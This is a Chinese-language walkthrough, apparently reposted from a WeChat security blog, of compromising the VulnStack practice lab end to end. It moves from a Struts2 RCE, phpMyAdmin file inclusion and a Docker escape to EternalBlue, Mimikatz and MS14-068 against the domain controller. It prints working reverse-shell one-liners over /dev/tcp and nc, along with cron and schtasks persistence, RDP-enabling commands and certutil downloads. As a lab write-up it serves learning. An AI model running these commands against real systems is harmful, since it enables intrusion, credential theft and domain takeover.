记一次VulnStack渗透
2023-3-3 10:3:28 Author: 红队蓝军(查看原文) 阅读量:23 收藏

信息收集

netdiscover的主机发现部分不再详解,通过访问端口得知20001-2003端口都为web端口,所以优先考虑从此方向下手

外网渗透

GetShell

Struct漏洞

访问2001端口后,插件Wappalyzer爬取得知这是一个基于Struct的web站点,直接考虑struct工具,一把梭

发现struct2漏洞,无法完整获得webshell,只有一个RCE权限,这里可以采用这种方法:

在revshell.com上生成一句话shell,ehco到文件中,然后使用bash执行,比如

0<&150-;exec 150<>/dev/tcp/192.168.253.174/4546;sh <&150 >&150 2>&150

表示向192.168.253.174的4546端口反射shell

python -c 'import pty;pty.spwn("/bin/bash")'一下子,就可以拿到root权限的shell了

Tomcat RCE

直接searchsploit,但是下载到EXP之后利用起来有点困难

tomcat的利用方式有时候有些奇怪,因为写入的webshell可能不在发布目录

绝对路径是在usr/local/tomcat/webapps/ROOT/

然而shell显示的路径在/usr/local/tomcat

所以一定要找好上传的webshell位置

phpMyAdmin

2003端口浏览器打开后发现是一个无需登录的phpMyAdmin管理站点

这个利用方式相对困难,不能使用脚本一把梭

拿到一个SQL权限我会考虑两种技术:

  1. secure_file_priv
  2. general_log

但是发现这里的用户权限较低,无法打开日志功能,第二种方法失败:

且无法写出文件,第一种方法失败:

所以这里应考虑CVE,查看phpMyAdmin版本,搜索对应版本漏洞

发现 cve-2018-12613 ,好嘛,本地文件包含!但是当我设置好路径exploit时,却发现:

无法拿到系统的shell,后来我使用wireshark抓包分析才发现,原来msf会进行一次 POST 登录操作,而这里的PMA根本就不用登录,所以才会有这样的一个失败,因此只能手工利用,在这里我参考了

小白也可以看懂的漏洞分析(CVE-2018-12613)_Sisyphus」的博客-CSDN博客

这条文章,这里采用了一种先通过控制台查询SQL在session文件写入一句话马,然后再包含利用的方式,我也复现:

那么接下来要包含的文件就是/tmp 目录下,以sess_开头pma结尾的文件了:

成功!接下来直接用蚁剑连接就完成:

Docker逃逸

进入系统后,要检查是否在虚拟机,或者在Docker中,Docker检查方法如下:docker环境下存在:ls -alh /.dockerenv 文件,所以检查是否存在该文件即可

docker逃逸就是从当前docke权限中逃逸出来,获得宿主机的权限。

相关知识点:(27条消息) 生命在于学习——docker逃逸_易水哲的博客-CSDN博客

这里的话,搜索文档以及大佬经验得知在特权情况下的docker可以挂载到物理机中,且该靶场只有2002的tomcat端口存在特权模式,所以只能用该方式逃逸

$ mkdir /tmp/rootdir
$ mount /dev/sda1 /tmp/rootdir
cd /tmp/rootdir

这样的话,就成功的进入到了宿主机器的根目录中,且权限为root

拿宿主机Shell

SSH密钥登录

那么我们可以考虑使用ssh-keygen生成密钥对,将公钥置于/root/.ssh/authorized_keys中(权限修改为只读chmod 400 *),然后使用ssh远程连接

计划任务反弹shell(*)

在计划任务里写入一个bash反弹shell的脚本:

cd /tmp
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.130/8888 0>&1"  >> shell.sh
chmod +x shell.sh写入crontab计划任务,表示每隔1分钟以root权限执行一次计划

然后用Kali监听即可nc -lp 8888

至此,我们成功的拿下了第一台主机web

内网渗透

信息收集

分析网络环境,经典双网卡

搭建socks隧道

使用scp或者Python的http服务将ew上传到/tmp/hack目录,一定要改名!一定要改名!一定要改名!不然执行命令时会很麻烦

scp用法:

上传到远程192.168.2.105的/root/lab/test目录:

scp  -r /opt/test [email protected]:/root/lab/test

-r代表目录,如果上传普通文件则去掉参数-r

下载到本地:

scp [email protected]:/root/lab/info.txt ./info.txt

这里还是使用ew,功能丰富,体积小,全平台兼容,可以搭建socks(端口转发)还可以端口映射

[email protected]:~/hack# ./ew -s ssocksd -l 3001&
[1] 124548
[email protected]:~/hack# ssocksd 0.0.0.0:3001 <--[10000 usec]--> socks server

存活探测

这里可以使用一个简单的小脚本,采用ping的方式探测

这个脚本可以说是万能脚本,用的时候注意修改网段

#!/bin/bash
for i in `seq 255`
do{
 ping -c 2 192.168.183.$i > /dev/null
 if [ $? -eq 0 ];then
  echo 192.168.183.$i is ok >> ip.txt
 fi
}&
done

然后可以查看ip.txt查看那些主机存活

192.168.183.1 is ok//物理机
192.168.183.129 is ok
192.168.183.130 is ok
192.168.183.128 is ok//web机器

那么就可以对.129.130这两台机器进行测试

永恒之蓝(稳)

对于MSF框架而言,本身就集成了代理模式,所以我们可以使用其代理进行内网渗透:

msf6> set Proxies socks5:192.168.253.132:3001
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set payload windows/meterpreter/bind_tcp
msf6> set rhost 192.168.183.129

一定要使用正向shell!反向Shell无论如何都不会成功因为目标是在内网环境

然后就会经历漫长的等待。。。和失败。。。多打几次的话就会出现奇迹

最后会拿到一个meterpreter会话,但是可能是由于隧道原因,会非常不稳定!

所以我再拿到shell之后,迅速的打开了一个shell会话,使用certutil下载了提前部署在web上用python http.servernc.exe,然后使用schtasks,每分钟执行一次监听的正向shell:

schtasks /create /tn bindshell /sc minute /mo 1  /tr "nc -lp 4000 -e cmd" /ru system /f

然后就可以用web上的nc,获取到稳定的shell会话啦(可以映射到本地)

注,certutil的一些使用方法:

  • 编码(base64)

    命令:certutil -encode test.txt encode.txt

  • 编码(十六进制)

    命令:certutil -encodehex test.txt encode2.txt

  • 散列

    获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。

    命令:certutil -hashfile生成指定哈希值,例如:

    certutil -hashfile test.txt md5(生成md5)

  • 下载

    命令:certutil.exe -urlcache -split -f http://服务器ip:8000/xss.js

至此,我们就已经非常稳定地获得了第二个主机shell权限,且为高权限

当然,这里保险的方法是用 反弹Shlle,然后在跳板机上使用端口映射到本地,例如:nc VPS_IP 4444 -e cmd ,这样就算目标机器打开了防火墙,也仍然可以接受到 shell 会话。

然后我会选择改掉 administrator 账户的密码为Dotest123(这是在靶场环境,如果是真实环境,应该进行权限维持,例如影子账户,粘滞键shell等)

坎坷&踩坑&疑惑点

因为中间有事,所以拿域控的任务我是过了好久才继续进行的,然后当我过了一个月之后再次打开我的 Vmware 开始拿域控时,出现了各种乱七八糟的错误,例如net time /domain 时抛异常,IPC连接失败,Mimikatz 获取凭证乱码:

Mimikatz 乱码:

我将猕猴桃上传之后,尝试一波 sekurlsa::logonpasswords 却发现:

其一,无法找到域用户,其二,获取的凭证密码有些是已经被加密的,但仍然存在本地用户(先不考虑其是否可以正常登录)

账户登录出现问题:

于是我打算直接用获取到的本地账户登录机器查看原因,却发现:

通过WriteUp发现一组域账户信息:

demo\douser
Dotest123

尝试登录发现如下错误:

解决方法:

这个问题我去问了大名鼎鼎的 Chat-GPT ,他给出的解释是这样的:

所以我在命令行中新建了一个本地高权限用户,然后登录了本地机器重新加入了一下域,之后就一切正常啦,mimi也可以抓得到域用户凭证信息了

我觉得原因是因为太长时间不登陆,所以两台机器时间不一致,导致了域信任关系丢失,重新加入一下域即可。对于mimi抓不到抓乱码我觉得可能是因为机器账户(在每一个加入域的计算机中都有一个以“ **计算机名+$**“ 结尾的账户)的原因,抓不到域用户就是因为信任丢失的原因,所以本地也不存在域的凭证了(这里都是本人推理出来的,网上搜索说法不一,欢迎大佬共同讨论~)

拿下域控:

在问题解决之后,继续进行了渗透:

信息收集:

域控定位,由于只有129,130两个机器,而且129已被拿下,所以猜测130就是域控:

接下来我喜欢打开目标的3389端口,然后在桌面上进行操作

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#打开3389端口
net localgroup "Remote Desktop Users" demo\douser /add
#给域用户添加登录权限

然后就可以开开心心的使用远程登录啦

我们拿到的是普通域用户权限,应该查看一下域控:

管理员:

MS14-068提升域用户权限:

我们这里拿到了一个域用户权限之后可以提取出有用的信息,如SID,口令,用户名,域全名等,因此可以利用ms14-068工具生成票据然后利用mimikatz导入:

ms14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1103 -d WIN-ENS2VR5TR3N.demo.com

注意这里一定要使用DC的全名:[email protected]

否则生成会生成错误:

这里是正确的结果:

然后用mimikatz导入

当显示这个效果的时候证明票据导入成功,此时我们可以使用 psexec 进行连接,

成功!至此,我们终于拿下了域控机器

修改管理员密码,登录DC

接下来还可以进行一些维权操作,当然,由于本次演示环境是靶场,便不再进行维权和痕迹清理

总结

本次靶场环境外网渗透相对比较简单顺利,且解题思路不止一种。通过三种方式都可以getshell,重要的是如何逃逸docker拿到宿主机的shell

内网环境除了拿域控稍有难度外,其他操作也是思路紧凑,合情合理,不过由于是内网渗透,所以牵扯到的知识点可能更多,更杂乱,但是总体不算难,多一些耐心还是可以成功的。这次内网渗透强化了我对kerberos的一些认识,大有收获。

wx

ring3 hookbypass bitdefender

PC

RBCD

syscall

DLLIAT

patchless amsi

windows defender线cs


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247507025&idx=1&sn=c2e0996f8b5175f4e464072c6fd7634b&chksm=ce6766edf910effb9e9795b7749f4a5be6f9f26b37236b8708924cb5c9cf0b9100cdbfda9671#rd
如有侵权请联系:admin#unsafe.sh